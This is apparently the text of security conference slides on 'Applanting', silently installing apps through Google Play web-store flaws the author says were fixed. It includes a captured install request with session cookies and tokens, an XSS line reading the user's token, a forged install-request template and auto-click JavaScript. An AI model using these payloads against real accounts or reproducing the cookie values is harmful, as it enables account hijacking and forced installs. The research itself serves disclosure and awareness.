Lets Play Applanting...

Ajit Hatti
(Co-Founder)
Null – Open Security Community
HELLO
From INDIA

(Technically...)
Disclaimer

Personal Research

Personal Views

Doesn't represents views of my Employer.

Vulnerabilities discussed in the paper are fixed by Google.
Who Am I?

co-founder “n|u - open security community”

Working on Security of NetBackup Product family at Symantec

Research on Critical Information Infrastructure Security.
Indian Govt pays bounty for botnet probe

By Darren Pauli on Mar 12, 2013 8:36 PM
Filed under Networks

Text file dropped on server, but organiser says botnet was not attacked.

A government bug bounty competition pitting white hat hackers against a live botnet has ruffled the feathers of some in the security industry.

Delegates at the Nullcon security event in Goa last month were tasked with investigating the command and control servers used in a recent attack against Indian Government infrastructure.
A new infosec era? Or a new infosec error?

Mon, 03/11/2013 - 08:54 — david.dittrich

On March 4, 2013, a contest was held at the Nullcon conference in Goa, India, to see who could take over a botnet. The Times of India reported that the prize money was provided by an Indian government official and was awarded to the Garage4Hackers team. The co-founder of the Nullcon conference, Antriksh Shah, said "At Nullcon Goa 2013, for the first time in the world the government has come forward and announced a bounty prize of Rs 35,000 to whoever provides critical information on the command and control servers of a malware recently found in one of the government installations in India," and then tweeted, "Dawn of new infosec era. Govt of India announced (and actually paid) first ever bounty (Rs. 35 k) at nullcon to take down a c&c." When asked whether this was a live botnet, or a simulated botnet held within a safe and isolated virtual network where no harm could result, Nullcon tweeted, "it was a live campaign up since a couple of yrs and the malware was found in a gov. Infra."
Thank you,
Questions?

Can you hack Gmail/Facebook Account?

Can you hack the banks and make big money??

😊
Let's Play - Applanting

It involves both:

1. Hacking Gmail or a google account

&

2. Then Hack the Bank Accounts to make money
This Paper is about: design and gap in Google's Play store along with few XSS vulnerabilities discovered in late last year.

Aimed: To create awareness about an interesting attack possibility called Applanting.

Not Claims: success of the attack as Google has been very fast and better in fixing the security issues in their services.

Definitely Claims: Similar attacks in future on platform other than Android.
Motivations

How Secure is Internet Banking in INDIA?

Ajit Hatti
ajit.hatti.sec@gmail.com
Bank Identifies you by your Phone

and many more.
Reliable and Cheaper alternative
The Concern

Your Phone Is your Identity
Facebook Identifies you by your Phone & So dose Google services…
Mom, The man at the door says he is my dad, and his Mobile number is saved in your cell phone as “Rascal”, should I open the door?
Motivations

Lt. Col MS Dhoni, Planting Campaign
NullCon Delhi 2012

**Description**

NullCon Delhi brings together CXOs, Security Researchers, IT Professionals and Senior Management in a collaborative environment to present and discuss issues relating to IT security. The conference would be attended by eminent representatives of the Information Security domain, leaders of large and small enterprises, senior Government officials, policy and decision makers from around the globe.

**App Screenshots**
The Rules

POST /store/install HTTP/1.1
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
Host: play.google.com
Content-Length: 193
DNT: 1
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: _utmac=45884901.1454877777.1354703478.1354703478.1354710207.2; __utmz=45884901.5.16.1354710622.2;
_POST=[(direct)]; _utmcmd=(none); __utmc=45884901; hl=Session2=en;
PrefID=039ba4488bbce7e93; U-539e2f5e8e30446b:FF=0; L=de; T=1335568374;LM=1354710753;NID=66-thFWFPedFuXSm0xNy2183k11GJkLX6ltOxUjhlA_0isXrg1jN6-2ltizvmb5Lq1QgjsyWRNDJ42qVqMrK3djYe67XbcnAF0joxF0V0mbbjbd8Lq0aV6Y3k9kQ; GMAIL>Login-T1354698419824/1354698419824/1354698436034; SGD=0AAyM1AAaArgF0oH73Fv_FMvQ0qgk908ldzBMtALZ877zLuyL9uOjCijjfr6y76UHbQWrcKpda2z; UtMFP9qB3qizk18hBqtLg761z2D00rRbqegBrHy5e_0eumKynfsmKndZwOycDu1ps6dtj; MSID=Az1w5eyWQiu5eJNP; SSID=AxxdSaCnF9IEV1P; APISID=Wcvd7n7UMBdxG0bB/Az2nmlP29492wSoEYC; SAPISSID=1fl092InC6XT2Y/A1Lfr9HUr0Qg8xg60
id=com.nullcon.android&offerType=1&device=g2ed6a8be0731246&feature=search_result
W3A1354698436088
id=com.nullcon.android&
offerType=1&
device=g2ed6a8be00731246&
xhr=1&
token=QRnhw2PHSRv6icuuUn1z9wyEl_U%3A1354698436000
Possible Moves:

Steal the Cookie and then.....
Possible Moves:

```
javascript:alert(initProps['userEmail'] + ' | ' + initProps['token'] + ' | ' + initProps['selectedDeviceId']);
```

```
POST /store/install HTTP/1.1
Host: play.google.com
Cookie: __utma=<cookie from XSS>
Content-Type: application/x-www-form-urlencoded;charset=utf-8
Content-Length: 139

id=com.company.app_name&device=<19 digit phone ID>&xhr=1&token=<41 char token>
```
The Flaw
Possible Moves?

Javascript: document.getElementById('Install').click();

OR

$("a") .click(); //by tag.
$("a[href='#']") .click(); //by tag with href property
$(".side_link") .click(); //by class
$("div#someld a.side_link") .click();
// This would work if the link was a child of a div with Id = someld
The Goal
Getting the Player to the Ground

New Pictures Posted

Hello Evader,

We have posted new pics on our site.
Check them out:

http://null.co.in/section/events/meets/

Click here to Reply or Forward
The Action
What We Can do?
What We Can Gain?
What We Can Gain?
Demonstration
Big Thanks To

Jon Oberheide (http://jon.oberheide.org/)

Thomas Cannot (http://thomascannon.net/)

Google
Future of Applanting

Man in mobile – very powerful exploitation Vector

Applanting is about to start grow and be a Challenge

The Challenge: As a third party, you can't differentiate between App installation by Choice or by Force
Future of Appplanting

Appplanting on Windows 8 based phones

App-Forking -
Conclusion

Concerns: Mobile is your strongest Identity & single point to screw your life.

Applanting: Flaws in App stores can be leveraged to install applications Silently.

Challenge: Cant differentiate between user chosen application installation and Applanting.

Awareness: Make sure you did installed that app on your mobile.
Thank you All

&

Also

BIG Thanks to

Team Black Hat

Vivek Ramchandran

nullcon & Jailbreak team

Lt. Col MS Dhoni,
(Inspiring India)